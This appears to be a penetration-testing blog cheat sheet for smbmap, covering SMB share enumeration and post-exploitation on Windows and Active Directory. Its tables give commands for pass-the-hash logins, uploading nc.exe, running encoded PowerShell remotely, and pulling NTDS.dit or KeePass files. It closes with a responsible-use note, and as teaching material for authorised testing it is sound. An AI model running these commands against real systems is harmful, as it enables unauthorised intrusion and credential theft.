root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat smbmap.md
// Active Directory

smbmap

21 Jul 2026 · 7 min read
SMBMAP is an SMB share enumeration tool that lets you list shares, walk their directory trees, download and upload files, and even run commands on the target. It is the swiss-army knife for figuring out, on a Windows server over SMB, what you can see and what you can touch.

What really matters is that SMBMAP shows you the effective permissions (READ/WRITE) on each share, not just that the share exists: that is the difference between a visible-but-useless share and a writable one that hands you execution. On top of that, many of its offensive capabilities (-x, writing to ADMIN$) require administrator privileges and lean on impacket, which makes them as powerful as they are noisy.

1. Beginner level — enumerate shares and move files

SMBMAP cheat sheet — Beginner
CommandWhat it does
smbmap -H <ip>Lists shares using a null session
smbmap -H <ip> -u user -p passLists shares authenticated
smbmap -H <ip> -u guest -p ''Tests the guest account
smbmap -H <ip> -u user -p pass -d domSpecifies the domain
smbmap -H <ip> -u user -p pass -rLists the contents of a share's root
smbmap -H <ip> -u user -p pass -r 'C$\\Users'Lists a specific directory
smbmap -H <ip> -u user -p pass -RWalks the shares recursively
smbmap -H <ip> -u user -p pass -s share -RRecursive over a specific share
smbmap -H <ip> -u user -p pass --download 'C$\\flag.txt'Downloads a file
smbmap -H <ip> -u user -p pass --upload nc.exe 'C$\\Temp\\nc.exe'Uploads a file
smbmap -H <ip> -u user -p pass -x 'whoami'Runs a command (if you are admin)
smbmap -H <ip> -u user -p pass --depth 5Limits the recursion depth
smbmap --host-file hosts.txt -u user -p passScans multiple hosts
smbmap -hShows the help

2. Advanced level — pass-the-hash and post-exploitation

SMBMAP cheat sheet — Advanced
CommandWhat it does
smbmap -H <ip> -u user -p ':<hash>'Pass-the-hash (empty LM:NT)
smbmap -H <ip> -u user -p 'aad3b...:<nt>'Authenticates with the full NTLM hash
smbmap -H <ip> -u user -p pass -R 'C$' -A 'password'Finds and downloads files matching a pattern
smbmap -H <ip> -u user -p pass -x 'powershell -enc <b64>'Runs encoded PowerShell
smbmap -H <ip> -u user -p pass -R --exclude IPC$Excludes shares from the walk
smbmap -H <ip> -u user -p pass -qQuiet mode (no banner)
smbmap -H <ip> -u null -p '' -RRecursive recon with a null session
smbmap -H <ip> -u user -p pass -r 'SYSVOL'Inspects SYSVOL (GPP, logon scripts)
smbmap --host-file hosts.txt -u user -p pass -x 'hostname'Command across multiple hosts
smbmap -H <ip> -u user -p pass --download 'C$\\Windows\\NTDS\\ntds.dit'Attempts to download NTDS.dit
smbmap -H <ip> -u user -p pass -R 'C$' | grep -i '.kdbx'Hunts for KeePass databases
smbmap -H <ip> -u user -p pass -s 'Backups' -RRecursive on a backups share
smbmap -H <ip> -u user -p pass -r 'ADMIN$'Checks access to ADMIN$ (admin)
for ip in $(cat hosts); do smbmap -H $ip -u user -p pass; doneManually iterates over multiple IPs

3. Details people miss

  • SMBMAP leans on impacket: flags and syntax changed between v1 and v2 (for example how -H/--host is handled), so check your version before copying commands blindly.
  • Command execution with -x spins up a remote service psexec-style and requires administrator privileges; it is noisy, leaves artifacts on the target and often trips EDR/AV.
  • For pass-the-hash use the full LM:NT format; if you only have the NT hash, leave the LM part empty (:<nt>) or authentication will fail.
  • Null-session enumeration depends on the target allowing anonymous access, which is disabled by default on modern Windows: an empty listing does not always mean you have no access.
  • With backslash paths (C$\Users) quote or escape correctly in your shell, or the path will arrive split and the command will fail.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.